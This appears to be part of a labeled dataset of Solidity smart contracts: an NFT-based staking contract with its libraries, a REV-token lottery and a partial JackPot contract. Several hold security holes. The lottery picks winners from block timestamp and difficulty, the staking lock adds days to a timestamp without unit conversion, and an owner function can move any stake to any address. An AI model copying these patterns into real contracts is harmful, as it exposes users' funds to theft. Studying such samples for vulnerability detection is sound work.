function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity >=0.6.0 <0.8.0;
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract ERC165 is IERC165 {
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
_registerInterface(_INTERFACE_ID_ERC165);
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
pragma solidity >=0.6.0 <0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
pragma solidity >=0.6.0 <0.8.0;
library EnumerableMap {
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
MapEntry[] _entries;
mapping (bytes32 => uint256) _indexes;
}
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) {
map._entries.push(MapEntry({ _key: key, _value: value }));
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
function _remove(Map storage map, bytes32 key) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) {
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
MapEntry storage lastEntry = map._entries[lastIndex];
map._entries[toDeleteIndex] = lastEntry;
map._indexes[lastEntry._key] = toDeleteIndex + 1;
map._entries.pop();
delete map._indexes[key];
return true;
} else {
return false;
}
}
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0);
return (true, map._entries[keyIndex - 1]._value);
}
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key");
return map._entries[keyIndex - 1]._value;
}
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage);
return map._entries[keyIndex - 1]._value;
}
struct UintToAddressMap {
Map _inner;
}
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
pragma solidity >=0.6.0 <0.8.0;
library Strings {
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
pragma solidity >=0.6.0 <0.8.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping (address => EnumerableSet.UintSet) private _holderTokens;
EnumerableMap.UintToAddressMap private _tokenOwners;
mapping (uint256 => address) private _tokenApprovals;
mapping (address => mapping (address => bool)) private _operatorApprovals;
string private _name;
string private _symbol;
mapping (uint256 => string) private _tokenURIs;
string private _baseURI;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
if (bytes(base).length == 0) {
return _tokenURI;
}
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return string(abi.encodePacked(base, tokenId.toString()));
}
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
function totalSupply() public view virtual override returns (uint256) {
return _tokenOwners.length();
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
pragma solidity 0.6.12;
contract UnicStakingERC721 is AccessControl, ERC721, IMintableCollection {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor(
string memory name,
string memory symbol,
string memory baseURI
) public ERC721(name, symbol) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
}
function burn(uint256 tokenId) public override virtual {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"UnicStakingERC721: caller is not owner nor approved"
);
_burn(tokenId);
}
function setBaseURI(string memory baseURI) public {
require(
hasRole(DEFAULT_ADMIN_ROLE, _msgSender()),
"UnicStakingERC721: must have admin role to change baseUri"
);
_setBaseURI(baseURI);
}
function mint(address to, uint256 tokenId) public override virtual {
require(
hasRole(MINTER_ROLE, _msgSender()),
"UnicStakingERC721: must have minter role to mint"
);
_mint(to, tokenId);
}
}
pragma solidity >=0.5.0;
interface IUnicFactory {
event TokenCreated(address indexed caller, address indexed uToken);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getUToken(address uToken) external view returns (uint);
function uTokens(uint) external view returns (address);
function uTokensLength() external view returns (uint);
function createUToken(uint256 totalSupply, uint8 decimals, string calldata name, string calldata symbol, uint256 threshold, string calldata description) external returns (address);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity 0.6.12;
contract UnicStakingV4 is Initializable, EmergencyWithdrawable, IRewardable, PausableUpgradeable {
using SafeMath for uint256;
using SafeERC20Upgradeable for IERC20Upgradeable;
struct StakerInfo {
uint256 nftId;
uint256 amount;
uint256 stakeStartTime;
uint256 lockDays;
uint256 rewardDebt;
address rewardToken;
uint16 multiplier;
}
struct LockMultiplier {
uint16 multiplier;
bool exists;
}
struct RewardPool {
IERC20Upgradeable rewardToken;
uint256 stakedAmount;
uint256 stakedAmountWithMultipliers;
uint256 totalRewardAmount;
uint256 accRewardPerShare;
uint256 lastRewardAmount;
}
IERC20Upgradeable private stakingToken;
IMintableCollection private nftCollection;
uint256 public minStakeAmount;
uint256 private nftStartId;
mapping(uint256 => StakerInfo) public stakes;
mapping(address => RewardPool) public pools;
mapping(uint256 => LockMultiplier) public lockMultipliers;
uint256 private constant DIV_PRECISION = 1e18;
event AddRewards(address indexed rewardToken, uint256 amount);
event Staked(
address indexed account,
address indexed rewardToken,
uint256 nftId,
uint256 amount,
uint256 lockDays
);
event Harvest(address indexed staker, address indexed rewardToken, uint256 nftId, uint256 amount);
event Withdraw(address indexed staker, address indexed rewardToken, uint256 nftId, uint256 amount);
event LogUpdateRewards(address indexed rewardToken, uint256 totalRewards, uint256 accRewardPerShare);
modifier poolExists(address rewardToken) {
require(address(pools[rewardToken].rewardToken) != address(0), "UnicStaking: Pool does not exist");
_;
}
modifier poolNotExists(address rewardToken) {
require(address(pools[rewardToken].rewardToken) == address(0), "UnicStaking: Pool does already exist");
_;
}
IUnicFactory private factory;
function initialize(
IERC20Upgradeable _stakingToken,
IMintableCollection _nftCollection,
uint256 _nftStartId,
uint256 _minStakeAmount
) public initializer {
__Ownable_init();
stakingToken = _stakingToken;
nftCollection = _nftCollection;
nftStartId = _nftStartId;
minStakeAmount = _minStakeAmount;
}
function setUnicFactory(IUnicFactory _factory) external onlyOwner {
factory = _factory;
}
function setLockMultiplier(uint256 lockDays, uint16 multiplier) external onlyOwner {
require(multiplier >= 100, "Minimum multiplier = 100");
lockMultipliers[lockDays] = LockMultiplier({
multiplier: multiplier,
exists: true
});
}
function deleteLockMultiplier(uint256 lockDays) external onlyOwner {
delete lockMultipliers[lockDays];
}
function setMinStakeAmount(uint256 _minStakeAmount) external onlyOwner {
minStakeAmount = _minStakeAmount;
}
function setNftStartId(uint256 _nftStartId) external onlyOwner {
nftStartId = _nftStartId;
}
function stake(uint256 amount, uint256 lockDays, address rewardToken)
external
whenNotPaused
poolExists(rewardToken)
{
require(
amount >= minStakeAmount,
"UnicStaking: Amount must be greater than or equal to min stake amount"
);
require(
lockMultipliers[lockDays].exists,
"UnicStaking: Invalid number of lock days specified"
);
updateRewards(rewardToken);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
StakerInfo storage staker = stakes[nftStartId];
staker.stakeStartTime = block.timestamp;
staker.amount = amount;
staker.lockDays = lockDays;
staker.multiplier = lockMultipliers[lockDays].multiplier;
staker.nftId = nftStartId;
staker.rewardToken = rewardToken;
RewardPool storage pool = pools[rewardToken];
uint256 virtualAmount = virtualAmount(staker.amount, staker.multiplier);
staker.rewardDebt = virtualAmount.mul(pool.accRewardPerShare).div(DIV_PRECISION);
pool.stakedAmount = pool.stakedAmount.add(amount);
pool.stakedAmountWithMultipliers = pool.stakedAmountWithMultipliers.add(virtualAmount);
nftStartId = nftStartId.add(1);
nftCollection.mint(msg.sender, nftStartId - 1);
emit Staked(msg.sender, rewardToken, nftStartId - 1, amount, lockDays);
}
function withdraw(uint256 nftId) external whenNotPaused {
StakerInfo storage staker = stakes[nftId];
require(address(staker.rewardToken) != address(0), "UnicStaking: No staker exists");
require(
nftCollection.ownerOf(nftId) == msg.sender,
"UnicStaking: Only the owner may withdraw"
);
require(
(staker.stakeStartTime.add(staker.lockDays)) < block.timestamp,
"UnicStaking: Lock time not expired"
);
updateRewards(staker.rewardToken);
RewardPool storage pool = pools[address(staker.rewardToken)];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
nftCollection.burn(nftId);
uint256 virtualAmount = virtualAmount(staker.amount, staker.multiplier);
uint256 accumulated = virtualAmount.mul(pool.accRewardPerShare).div(DIV_PRECISION);
uint256 reward = accumulated.sub(staker.rewardDebt);
pool.stakedAmount = pool.stakedAmount.sub(staker.amount);
pool.stakedAmountWithMultipliers = pool.stakedAmountWithMultipliers.sub(virtualAmount);
uint256 staked = staker.amount;
staker.rewardDebt = 0;
staker.amount = 0;
staker.stakeStartTime = 0;
staker.lockDays = 0;
staker.nftId = 0;
staker.rewardToken = address(0);
stakingToken.safeTransfer(msg.sender, reward.add(staked));
emit Harvest(msg.sender, address(staker.rewardToken), nftId, reward);
emit Withdraw(msg.sender, address(staker.rewardToken), nftId, staked);
}
function updateRewards(address rewardToken) private poolExists(rewardToken) {
RewardPool storage pool = pools[rewardToken];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
if (pool.totalRewardAmount > pool.lastRewardAmount) {
if (pool.stakedAmountWithMultipliers > 0) {
uint256 reward = pool.totalRewardAmount.sub(pool.lastRewardAmount);
pool.accRewardPerShare = pool.accRewardPerShare.add(reward.mul(DIV_PRECISION).div(pool.stakedAmountWithMultipliers));
}
pool.lastRewardAmount = pool.totalRewardAmount;
emit LogUpdateRewards(rewardToken, pool.lastRewardAmount, pool.accRewardPerShare);
}
}
function createPool(address rewardToken) external poolNotExists(rewardToken) {
require(
rewardToken == 0x94E0BAb2F6Ab1F19F4750E42d7349f2740513aD5 ||
rewardToken == 0x3d9233F15BB93C78a4f07B5C5F7A018630217cB3 ||
factory.getUToken(rewardToken) > 0,
"UnicStakingV2: rewardToken must be UNIC or uToken"
);
RewardPool memory pool = RewardPool({
rewardToken: IERC20Upgradeable(rewardToken),
stakedAmount: 0,
stakedAmountWithMultipliers: 0,
totalRewardAmount: 0,
accRewardPerShare: 0,
lastRewardAmount: 0
});
pools[rewardToken] = pool;
}
function addRewards(address rewardToken, uint256 amount) override external poolExists(rewardToken) {
require(amount > 0, "UnicStaking: Amount must be greater than zero");
IERC20Upgradeable(rewardToken).safeTransferFrom(msg.sender, address(this), amount);
RewardPool storage pool = pools[rewardToken];
pool.totalRewardAmount = pool.totalRewardAmount.add(amount);
emit AddRewards(rewardToken, amount);
}
function harvest(uint256 nftId) external whenNotPaused {
StakerInfo storage staker = stakes[nftId];
require(staker.nftId > 0, "UnicStaking: No staker exists");
require(
nftCollection.ownerOf(nftId) == msg.sender,
"UnicStaking: Only the owner may harvest"
);
updateRewards(address(staker.rewardToken));
RewardPool memory pool = pools[address(staker.rewardToken)];
uint256 accumulated = virtualAmount(staker.amount, staker.multiplier).mul(pool.accRewardPerShare).div(DIV_PRECISION);
uint256 reward;
if (accumulated > staker.rewardDebt) {
reward = accumulated.sub(staker.rewardDebt);
}
staker.rewardDebt = accumulated;
pool.rewardToken.safeTransfer(msg.sender, reward);
emit Harvest(msg.sender, address(staker.rewardToken), nftId, reward);
}
function pendingReward(uint256 nftId) external view returns (uint256) {
StakerInfo memory staker = stakes[nftId];
require(staker.nftId > 0, "StakingPool: No staker exists");
RewardPool memory pool = pools[address(staker.rewardToken)];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
uint256 accRewardPerShare = 0;
if (pool.totalRewardAmount > pool.lastRewardAmount) {
if (pool.stakedAmountWithMultipliers > 0) {
uint256 reward = pool.totalRewardAmount.sub(pool.lastRewardAmount);
accRewardPerShare = pool.accRewardPerShare.add(reward.mul(DIV_PRECISION).div(pool.stakedAmountWithMultipliers));
}
}
uint256 accumulated = virtualAmount(staker.amount, staker.multiplier).mul(accRewardPerShare).div(DIV_PRECISION);
if (staker.rewardDebt > accumulated) {
return 0;
}
return accumulated.sub(staker.rewardDebt);
}
function virtualAmount(uint256 amount, uint256 multiplier) private view returns (uint256) {
return amount.mul(multiplier.mul(DIV_PRECISION).div(100)).div(DIV_PRECISION);
}
function getStakeWithMultiplier(uint256 nftId) external view returns (uint256 stakeWithMultiplier){
StakerInfo memory staker = stakes[nftId];
stakeWithMultiplier = virtualAmount(staker.amount, staker.multiplier);
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function getStakingToken() external view returns (address) {
return address(stakingToken);
}
function setStakingToken(IERC20Upgradeable _stakingToken) external onlyOwner {
stakingToken = _stakingToken;
}
function emergencyWithdrawStakes(uint256 nftId, address receiver) external onlyOwner {
StakerInfo storage staker = stakes[nftId];
require(staker.nftId > 0, "UnicStaking: No staker exists");
updateRewards(staker.rewardToken);
RewardPool storage pool = pools[address(staker.rewardToken)];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
uint256 virtualAmount = virtualAmount(staker.amount, staker.multiplier);
uint256 accumulated = virtualAmount.mul(pool.accRewardPerShare).div(DIV_PRECISION);
uint256 reward = accumulated.sub(staker.rewardDebt);
pool.stakedAmount = pool.stakedAmount.sub(staker.amount);
pool.stakedAmountWithMultipliers = pool.stakedAmountWithMultipliers.sub(virtualAmount);
uint256 staked = staker.amount;
staker.rewardDebt = 0;
staker.amount = 0;
staker.stakeStartTime = 0;
staker.lockDays = 0;
staker.nftId = 0;
staker.rewardToken = address(0);
stakingToken.safeTransfer(receiver, reward.add(staked));
emit Harvest(receiver, address(staker.rewardToken), nftId, reward);
emit Withdraw(receiver, address(staker.rewardToken), nftId, staked);
}
} | 1 | 2,315 |
pragma solidity ^0.4.20;
contract Lottery{
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
modifier notPooh(address aContract)
{
require(aContract != address(revContract));
_;
}
event Deposit(
uint256 amount,
address depositer
);
event WinnerPaid(
uint256 amount,
address winner
);
REV revContract;
address owner;
bool openToPublic;
uint256 ticketNumber = 0;
uint256 winningNumber;
constructor() public
{
revContract = REV(0x05215FCE25902366480696F38C3093e31DBCE69A);
openToPublic = true;
resetLottery();
owner = 0xc42559F88481e1Df90f64e5E9f7d7C6A34da5691;
}
function() payable public { }
function deposit()
payable public
{
require(msg.value >= 10000000000000000);
address customerAddress = msg.sender;
revContract.buy.value(msg.value)(customerAddress);
emit Deposit(msg.value, msg.sender);
if(msg.value > 10000000000000000)
{
uint extraTickets = SafeMath.div(msg.value, 10000000000000000);
ticketNumber += extraTickets;
}
if(ticketNumber >= winningNumber)
{
revContract.exit();
payDev(owner);
payWinner(customerAddress);
resetLottery();
}
else
{
ticketNumber++;
}
}
function myTokens() public view returns(uint256)
{
return revContract.myTokens();
}
function myDividends() public view returns(uint256)
{
return revContract.myDividends(true);
}
function ethBalance() public view returns (uint256)
{
return address(this).balance;
}
function returnAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens)
public
onlyOwner()
notPooh(tokenAddress)
returns (bool success)
{
return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens);
}
function payWinner(address winner) internal
{
uint balance = address(this).balance;
winner.transfer(balance);
emit WinnerPaid(balance, winner);
}
function payDev(address dev) internal
{
uint balance = SafeMath.div(address(this).balance, 10);
dev.transfer(balance);
}
function resetLottery() internal
{
ticketNumber = 1;
winningNumber = uint256(keccak256(block.timestamp, block.difficulty))%300;
}
function resetLotteryManually() public
onlyOwner()
{
ticketNumber = 1;
winningNumber = uint256(keccak256(block.timestamp, block.difficulty))%300;
}
}
contract ERC20Interface
{
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract REV
{
function buy(address) public payable returns(uint256);
function exit() public;
function myTokens() public view returns(uint256);
function myDividends(bool) public view returns(uint256);
}
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
} | 0 | 609 |
contract JackPot {
address public host;
uint minAmount;
uint[] public contributions;
address[] public contributors;
uint public numPlayers;
uint public nextDraw;
bytes32 public seedHash;
bytes32 random;
struct Win {
address winner;
uint timestamp;
uint contribution;
uint amountWon;
}
Win[] public recentWins;
uint recentWinsCount = 10;
function insert_contribution(address addr, uint value) internal {
if(numPlayers == contributions.length) {
contributions.length += 1;
contributors.length += 1;
}
contributions[numPlayers] = value;
contributors[numPlayers++] = addr;
}
function getContributions(address addr) constant returns (uint) {
uint i;
for (i=0; i < numPlayers; i++) {
if (contributors[i] == addr) {
break;
}
}
if(i == numPlayers) {
return 0;
} else {
return contributions[i];
}
}
function JackPot() {
host = msg.sender;
seedHash = sha3('aaaa');
minAmount = 10 * 1 finney;
recentWinsCount = 10;
nextDraw = 1234;
}
function() {
addToContribution();
}
function addToContribution() {
addValueToContribution(msg.value);
}
function addValueToContribution(uint value) internal {
if(value < minAmount) throw;
uint i;
for (i=0; i < numPlayers; i++) {
if (contributors[i] == msg.sender) {
break;
}
}
